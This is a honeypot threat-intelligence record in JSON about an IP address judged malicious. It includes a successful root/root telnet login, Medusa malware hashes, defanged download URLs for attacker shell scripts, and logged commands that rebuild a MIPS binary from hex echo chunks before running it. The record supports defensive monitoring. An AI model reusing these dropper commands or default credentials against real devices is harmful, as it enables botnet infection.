{"ip":"176.65.149.4","data_as_of":"2026-10-26T21:47:12+00:00","observed":true,"total_events":5,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"29 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network services","why":["29 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 5 event(s) from this address as well.","Not in any known-scanner range.","Sent 2,244,407 bytes, which is sustained payload delivery.","Held a session open for 133s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"2,244,407 bytes sent, longest session 133s","bytes_sent":2244407,"session_seconds":133,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-18T22:31:22","last_seen":"2026-10-26T00:40:00","events_24h":0,"events_7d":5,"interactive_sessions":80,"interactive_sessions_24h":17,"interactive_sessions_7d":78,"interactive_protocols":[{"protocol":"telnet","sessions":75},{"protocol":"http","sessions":2}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"Limburg","city":"Eygelshoven","lat":50.8897,"lon":6.0563,"asn":51396,"org":"Pfcloud UG (haftungsbeschrankt)"},"source_domain":"justanother.server.com","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"a27095084f1a8a42c556bf27c41812e22af8cd68858271507878415123b6e62c","family":"medusa","vt_name":"TelnetTime.sh","malicious":26,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":23,"hits":1,"last_seen":"2026-10-25 01:54:05"},{"sha256":"71e9825f89dbc792eee4d7e2d38b323c547cbc69cdfbcf4cec7b361e598505b0","family":"medusa","vt_name":"fuckmeh.sh","malicious":25,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":23,"hits":1,"last_seen":"2026-10-26 00:34:44"}],"udp":null,"interaction":{"window_days":90,"sessions":80,"first_seen":"2026-10-18T22:31:22","last_seen":"2026-10-26T00:40:00","verdicts":[{"verdict":"post-exploitation","sessions":29},{"verdict":"unknown","sessions":26},{"verdict":"credential","sessions":23},{"verdict":"scan","sessions":2}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":75},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, mikrotik@7.12.1, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3","sessions":1}],"services":[{"protocol":"telnet","port":23,"sessions":75},{"protocol":"tcp","port":10023,"sessions":3},{"protocol":"http","port":81,"sessions":1},{"protocol":"http","port":8088,"sessions":1}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":29,"last_seen":"2026-10-26T00:37:48"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":23,"last_seen":"2026-10-26T00:37:41"}],"commands":[{"ts":"2026-10-26T00:39:57","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp; ./update.mips telnet 2>&1","exit_code":126},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"chmod 777 update.mips 2>&1","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x67\\x70\\x72\\x6f\\x63\\x6d\\x61\\x73\\x6b\\x00\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x47\\x49\\x5f\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x5f\\x6c\\x6f\\x61\\x64\\x5f\\x69\\x6e\\x74\\x74\\x79\\x70\\x65\\x00\\x72\\x61\\x69\\x73\\x65\\x00\\x73\\x69\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x77\\x63\\x72\\x74\\x6f\\x6d\\x62\\x00\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x00\\x5f\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x70\\x65\\x5f\\x74\\x6f\\x6c\\x6f\\x77\\x65\\x72\\x00\\x5f\\x5f\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x5f\\x66\\x72\\x61\\x6d\\x65\\x5f\\x69\\x6e\\x66\\x6f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x66\\x62\\x73\\x73\\x00\\x66\\x73\\x65\\x65\\x6b\\x6f\\x36\\x34\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x70\\x72\\x69\\x6e\\x74\\x66\\x00\\x5f\\x5f\\x63\\x74\\x79\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x66\\x63\\x6e\\x74\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x61\\x74\\x6f\\x69\\x00\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6e\\x6c\\x65\\x6e\\x00\\x5f\\x4a\\x76\\x5f\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x73\\x32\\x77\\x5f\\x6f\\x00\\x73\\x74\\x72\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x69\\x73\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x49\\x5f\\x67\\x65\\x74\\x75\\x69\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x74\\x72\\x61\\x6e\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x70\\x70\\x66\\x73\\x5f\\x70\\x61\\x72\\x73\\x65\\x73\\x70\\x65\\x63\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x74\\x6f\\x6c\\x00\\x5f\\x5f\\x47\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x6c\\x73\\x65\\x65\\x6b\\x36\\x34\\x00\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x77\\x72\\x69\\x74\\x65\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x65\\x78\\x69\\x74\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x72\\x65\\x63\\x76\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x72\\x65\\x61\\x74\\x00\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6e\\x6f\\x00\\x61\\x74\\x6f\\x69\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x64\\x65\\x6c\\x5f\\x6c\\x6f\\x63\\x6b\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x65\\x75\\x69\\x64\\x00\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x70\\x00\\x5f\\x64\\x6c\\x5f\\x61\\x75\\x78\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x65\\x72\\x72\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x6f\\x5f\\x6c\\x00\\x65\\x78\\x69\\x74\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x57\\x52\\x49\\x54\\x45\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x73\\x74\\x72\\x00\\x5f\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x73\\x74\\x64\\x6c\\x69\\x62\\x5f\\x73\\x74\\x72\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x00\\x5f\\x64\\x6c\\x5f\\x70\\x68\\x6e\\x75\\x6d\\x00\\x5f\\x66\\x70\\x6d\\x61\\x78\\x74\\x6f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:56","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x73\\x74\\x72\\x00\\x5f\\x65\\x6e\\x64\\x00\\x5f\\x70\\x70\\x66\\x73\\x5f\\x70\\x72\\x65\\x70\\x61\\x72\\x67\\x73\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x47\\x49\\x5f\\x6d\\x65\\x6d\\x72\\x63\\x68\\x72\\x00\\x5f\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x5f\\x4f\\x46\\x46\\x53\\x45\\x54\\x5f\\x54\\x41\\x42\\x4c\\x45\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x64\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x61\\x63\\x63\\x65\\x73\\x73\\x00\\x5f\\x65\\x64\\x61\\x74\\x61\\x00\\x5f\\x5f\\x73\\x74\\x64\\x6f\\x75\\x74\\x00\\x5f\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x65\\x64\\x00\\x5f\\x5f\\x70\\x61\\x67\\x65\\x73\\x69\\x7a\\x65\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x61\\x64\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x6f\\x6d\\x6d\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x75\\x6e\\x6c\\x69\\x6e\\x6b\\x00\\x66\\x77\\x72\\x69\\x74\\x65\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x36\\x34\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x73\\x65\\x65\\x6b\\x6f\\x36\\x34\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x77\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x61\\x74\\x65\\x78\\x69\\x74\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x64\\x6f\\x77\\x6e\\x6c\\x6f\\x61\\x64\\x5f\\x66\\x69\\x6c\\x65\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x65\\x5f\\x62\\x00\\x5f\\x70\\x70\\x66\\x73\\x5f\\x73\\x65\\x74\\x61\\x72\\x67\\x73\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x66\\x6f\\x72\\x6b\\x00\\x5f\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x70\\x69\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x77\\x61\\x69\\x74\\x70\\x69\\x64\\x00\\x73\\x74\\x64\\x65\\x72\\x72\\x00\\x5f\\x5f\\x43\\x5f\\x63\\x74\\x79\\x70\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x72\\x00\\x73\\x70\\x72\\x69\\x6e\\x74\\x66\\x00\\x73\\x74\\x72\\x65\\x72\\x72\\x6f\\x72\\x5f\\x72\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x77\\x61\\x69\\x74\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x6f\\x6e\\x00\\x65\\x78\\x65\\x63\\x75\\x74\\x65\\x5f\\x66\\x69\\x6c\\x65\\x00\\x5f\\x66\\x69\\x6e\\x69\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x68\\x64\\x69\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x69\\x6f\\x6e\\x00\\x5f\\x5f\\x43\\x5f\\x63\\x74\\x79\\x70\\x65\\x5f\\x62\\x5f\\x64\\x61\\x74\\x61\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x70\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x73\\x74\\x64\\x69\\x6f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x6d\\x75\\x74\\x65\\x78\\x00\\x5f\\x5f\\x68\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x74\\x79\\x70\\x65\\x5f\\x74\\x6f\\x6c\\x6f\\x77\\x65\\x72\\x5f\\x64\\x61\\x74\\x61\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x61\\x62\\x6f\\x72\\x74\\x00\\x5f\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x61\\x6c\\x6c\\x5f\\x72\\x74\\x5f\\x73\\x69\\x67\\x61\\x63\\x74\\x69\\x6f\\x6e\\x00\\x74\\x63\\x67\\x65\\x74\\x61\\x74\\x74\\x72\\x00\\x5f\\x5f\\x43\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x73\\x74\\x72\\x65\\x72\\x72\\x6f\\x72\\x5f\\x72\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x66\\x77\\x72\\x69\\x74\\x65\\x00\\x5f\\x5f\\x73\\x79\\x73\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x6d\\x65\\x6d\\x73\\x65\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x6f\\x63\\x6b\\x65\\x74\\x00\\x6d\\x61\\x69\\x6e\\x00\\x5f\\x5f\\x67\\x6c\\x69\\x62\\x63\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x69\\x73\\x6d\\x65\\x6d\\x62\\x65\\x72\\x00\\x5f\\x5f\\x62\\x73\\x73\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x6f\\x70\\x65\\x6e\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x64\\x5f\\x63\\x6c\\x65\\x61\\x6e\\x75\\x70\\x5f\\x70\\x75\\x73\\x68\\x5f\\x64\\x65\\x66\\x65\\x72\\x00\\x69\\x6e\\x64\\x65\\x78\\x00\\x5f\\x5f\\x73\\x69\\x67\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x70\\x69\\x64\\x00\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x49\\x5f\\x77\\x61\\x69\\x74\\x34\\x00\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x6d\\x61\\x69\\x6e\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x6f\\x72\\x6b\\x00\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x00\\x5f\\x73\\x74\\x6f\\x72\\x65\\x5f\\x69\\x6e\\x74\\x74\\x79\\x70\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x65\\x67\\x69\\x64\\x00\\x5f\\x5f\\x47\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x36\\x34\\x00\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x69\\x6e\\x69\\x74\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x65\\x72\\x6e\\x61\\x6c\\x00\\x66\\x6f\\x72\\x6b\\x00\\x73\\x69\\x67\\x61\\x63\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x64\\x6c\\x5f\\x70\\x68\\x64\\x72\\x00\\x5f\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x64\\x69\\x6f\\x5f\\x61\\x64\\x6a\\x75\\x73\\x74\\x5f\\x70\\x6f\\x73\\x69\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x76\\x66\\x70\\x72\\x69\\x6e\\x74\\x66\\x5f\\x69\\x6e\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x79\\x70\\x65\\x5f\\x74\\x6f\\x6c\\x6f\\x77\\x65\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x70\\x00\\x5f\\x5f\\x73\\x74\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x78\\x70\\x67\\x5f\\x73\\x74\\x72\\x65\\x72\\x72\\x6f\\x72\\x5f\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x43\\x5f\\x63\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x79\\x70\\x65\\x5f\\x62\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x6e\\x63\\x70\\x79\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x73\\x65\\x6e\\x64\\x00\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6f\\x63\\x6b\\x69\\x6e\\x67\\x00\\x73\\x74\\x72\\x6e\\x63\\x70\\x79\\x00\\x75\\x6e\\x6c\\x69\\x6e\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x43\\x5f\\x63\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x49\\x5f\\x6d\\x65\\x6d\\x63\\x70\\x79\\x00\\x77\\x63\\x73\\x72\\x74\\x6f\\x6d\\x62\\x73\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x75\\x73\\x65\\x72\\x5f\\x6c\" >> update.mips","exit_code":0},{"ts":"2026-10-26T00:39:55","session_id":"1bc083c3-9e9c-410b-a910-497610a42d6c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x74\\x74\\x79\\x00\\x5f\\x66\\x74\\x65\\x78\\x74\\x00\\x73\\x74\\x72\\x73\\x74\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6f\\x63\\x74\\x6c\\x00\\x5f\\x5f\\x47\" >> update.mips","exit_code":0}],"downloads":[{"url":"tftp2[.]sh","host":"","sessions":6,"first_seen":"2026-10-25T01:54:05","last_seen":"2026-10-26T00:40:00","virustotal":null},{"url":"[tftp]://176[.]65[.]139[.]51","host":"176[.]65[.]139[.]51","sessions":6,"first_seen":"2026-10-25T01:54:05","last_seen":"2026-10-26T00:40:00","virustotal":null},{"url":"[http]://176[.]65[.]139[.]51:6674/TelnetTime.sh","host":"176[.]65[.]139[.]51","sessions":4,"first_seen":"2026-10-25T01:54:05","last_seen":"2026-10-25T19:42:08","virustotal":{"sha256":"a27095084f1a8a42c556bf27c41812e22af8cd68858271507878415123b6e62c","status":"uploaded","malicious":26,"total":75,"name":"TelnetTime.sh"}},{"url":"[http]://176[.]65[.]139[.]51:62608/fuckmeh.sh","host":"176[.]65[.]139[.]51","sessions":2,"first_seen":"2026-10-26T00:34:44","last_seen":"2026-10-26T00:40:00","virustotal":{"sha256":"71e9825f89dbc792eee4d7e2d38b323c547cbc69cdfbcf4cec7b361e598505b0","status":"uploaded","malicious":25,"total":75,"name":"fuckmeh.sh"}}],"files":[{"sha256":"8b31e826b1780d72dc472f4102ddd68fd3e6a3afe89db4e515df5fcf69f52f6f","name":"update.mipsel","size":46090,"mime_type":"application/x-executable","kind":"sample","times":12,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:16","virustotal":null},{"sha256":"0ec12c68bfbd9fc424ac4b4206d334b7913589fc46b9af1c2cc6c00a22e0c986","name":"update.mips","size":46090,"mime_type":"application/x-executable","kind":"sample","times":8,"first_seen":"2026-10-25T01:54:01","last_seen":"2026-10-26T00:39:57","virustotal":null},{"sha256":"c4d9d20024dfd5146d563eef8be4e2c2aaeb9bf804ca3133a2fb591179a822ea","name":"TelnetTime.sh","size":39,"mime_type":"text/plain","kind":"downloaded","times":8,"first_seen":"2026-10-25T01:52:28","last_seen":"2026-10-25T19:40:44","virustotal":null},{"sha256":"a0b38f96b2797d8139bd94c631e5b3453d74d78c142ec08ed401f9bb14560fab","name":"update.mipsel","size":46080,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"89f0e0375bf5a98edd6993e564dda039a0e5c6dea0ae00b6084248e0d14e6a2f","name":"update.mipsel","size":46048,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"d829ca162c4a2f6ffb3dae351205f5b0d7bc04253c5bcae7548142c5b85f6937","name":"update.mipsel","size":46016,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"8062dfcf55cce22c277f626bf7ee40864a027929bc3d96e32e79705b40eca7a4","name":"update.mipsel","size":45984,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"b5c25de00205b6ef8b9e2e94d9a261c89368dc33074739ec0fdbc3caa068dbd8","name":"update.mipsel","size":45952,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"9b072d127087fbafb109bb158f86392e7aa0fdbcc66d43f4a29c0d1f6ed934b1","name":"update.mipsel","size":45920,"mime_type":"application/x-executable","kind":"shell-write","times":6,"first_seen":"2026-10-25T01:53:21","last_seen":"2026-10-26T00:39:14","virustotal":null},{"sha256":"ee8c448450271cd9e18879eba